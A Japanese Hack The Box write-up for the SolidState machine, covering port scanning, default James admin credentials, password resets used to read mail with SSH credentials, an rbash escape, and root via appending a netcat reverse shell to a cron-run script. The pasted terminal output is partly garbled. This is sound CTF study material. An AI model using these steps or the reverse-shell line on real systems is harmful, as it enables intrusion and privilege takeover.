Hack The Box Writeup | SolidState

SolidStateはLinuxのマシンで、難易度はmediumです。

・使用ツール
nmap
telnet
pspy

流れとしては、以下のようになっています。
1.nmapでポートスキャン
2.JAMESのデフォルト認証情報を確認
3.デフォルト認証情報でログインし、pop3の認証情報を変更
4.telnetでpop3にログインし、メールにsshの認証情報を確認
5.sshで「sh」オプション使用してログイン
6.pspyのツールをダウンロード
7.pspyで定期的に「/opt/tmp.py」実行している
8.「/opt/tmp.py」にリバースシェルのコードを追記
9.リバーシェルが成功し、root権限を取得

1.Enumeration

nmpaでオープンポートが、22,25,80,110,119,4555であることを確認

nmapのデフォルトスクリプトエンジンを実行(-sC オプション)

JAMES Remote Adminのデフォルトユーザ名、パスワードを検索すると、root/rootであることがわかる。(exploitに記載されている)

https://www.exploit-db.com/exploits/35513

2.Exploitation

ncで4555ポートにアクセスし、root/rootでログイン

HELPコマンドで入力できるコマンドを確認

listusersコマンドでuserを確認

setpasswordコマンドで、各ユーザにパスワードを設定する

telnetで110ポートに接続し、mindy/passでログイン

「RETR 2」で確認すると、メッセージに認証情報が記載。
mindy
P@55W0rd1!2@

確認した認証情報で、sshログインする。

/etc/passwdを確認すると、mindyはrbashを使っていることがわかる。
rbashはコマンドが限られているため、bashを使えるようにする。

cat /etc/passwd 
root:x:O:O: root: / root: /bin/bash 
daemon : x: 1: 1: daemon : /usr/sbin: /usr/sbin/nologin 
bin: x: 2: 2: bin: /bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync: x : sync: /bin/sync 
games : x: 5: 60 : games : /usr/games : /usr/sbin/nologin 
man: x: 6: 12 :man: /var/cache/man: /usr/sbin/nologin 
l": x: 7: 7: /var/spool/lpd: /usr/sbin/nologin 
mail: x: 8: 8 
news : x: 9: 9 : news : /var/spool/news : /usr/sbin/nologin 
uucp : x: 10: 10 : uucp : /var/spool/uucp : /usr/sbin/nologin 
proxy : x: 13: 13: proxy : /bin: /usr/sbin/nologin 
-data : x: 33 : 33 :www-data : /var/www:/usr/sbin/nologin 
backup : x : 34 : 34 : backup : /var/backups : /usr/sbin/nologin 
List 
rc : x: 39 : 39 : i rcd: /var/ run/ircd: /usr/sbin/nologin 
gnats:x:41:41:Gnats Bug-Reporting System (admin) 
nobody : x: 65534 : 65534 : nobody : /nonexistent : /usr/sbin/nologin 
systemd-timesync:x: 100: 102:systemd Time Synchronization, , , 
systemd-network:x: 101: 103:systemd Network Management, , , 
systemd- resolve:x: 102: 104 :systemd Resolver, , , 
105:systemd Bus Proxy, , , 
apt: x: 104 : 65534: :/nonexistent: /bin/false 
usbmux:x: 105•.46: usbmux daemon, , , :/var/lib/usbmux: /bin/false 
rtkit:x: 106: 
dnsmasq:x: 107 : 65534 :dnsmasq, , , :/var/lib/misc: /bin/false 
messagebus : x: 108: 111: : /var/ run/dbus : /bin/false 
geoclue:x: 109: 115: :/var/lib/geoclue: /bin/false 
avahi:x:110:117:Avahi mDNS daemon, , , 
colour management daemon, , , 
saned:x:112:119: 
speech-dispatcher:x:113:29:Speech Dispatcher, , , 
pulse:x: 114: 120:PulseAudio daemon, , , 
hplip:x:115:7:HPLIP system user, , , 
Debian-gdm:x:116:122:Gnome Display 
sshd:x: 117 : 65534: :/run/sshd: /usr/sbin/nologin 
j ames : x : 1000 : 1000 ames : /home/ j ames/ : /bin/bash 
Imindy : x: 1001 : 1001 :mind 
home mind 
bin rbash 
Inindy@solidstate : -$

「ssh mindy@10.10.10.51 sh」でログインする。
以下の手順でshellをアップグレードする。
1.python -c “import pty; pty.spawn(‘/bin/bash’)”
2.Ctrl + z でシェルをバックグランドにする
3.stty raw -echo
4.fg でシェルをフォアグラウンドにする

3.Privilege Escalation

32bit,64bitか確認する
「i686」なので32bit

HTTPサーバを起動

「curl 10.10.14.7:8000/pspy32 -o pspy32」でpspyの32bit版をダウンロードする

パーミッションを変更し、pspyを実行する。/opt/tmp.pyが定期的に実行されていることが確認できる。

ls -lで確認すると、「/opt/tmp.py」に読込、書込、実行権限があることを確認

「/opt/tmp.py」の中身を確認

${debian chroot:+($debian chroot)}mindy@solidstate:/dev/shm$ cat /opt/tmp.py 
cat /opt/tmp.py 
/usr/bin/env python 
import os 
import sys 
try : 
os . system ( 
except: 
sys. exit() 
${debian chroot:+($debian chroot)}mindy@solidstate:/dev/shm$

以下のコマンドを実行して、/opt/tmp.pyにリバースシェルを実行するようにする
echo “os.system(‘/bin/nc -e /bin/bash 10.10.14.7 808’)” >> /opt/tmp.py

ncコマンドで接続を待ち受ける。

リバーシェルが成功し、root権限であることを確認。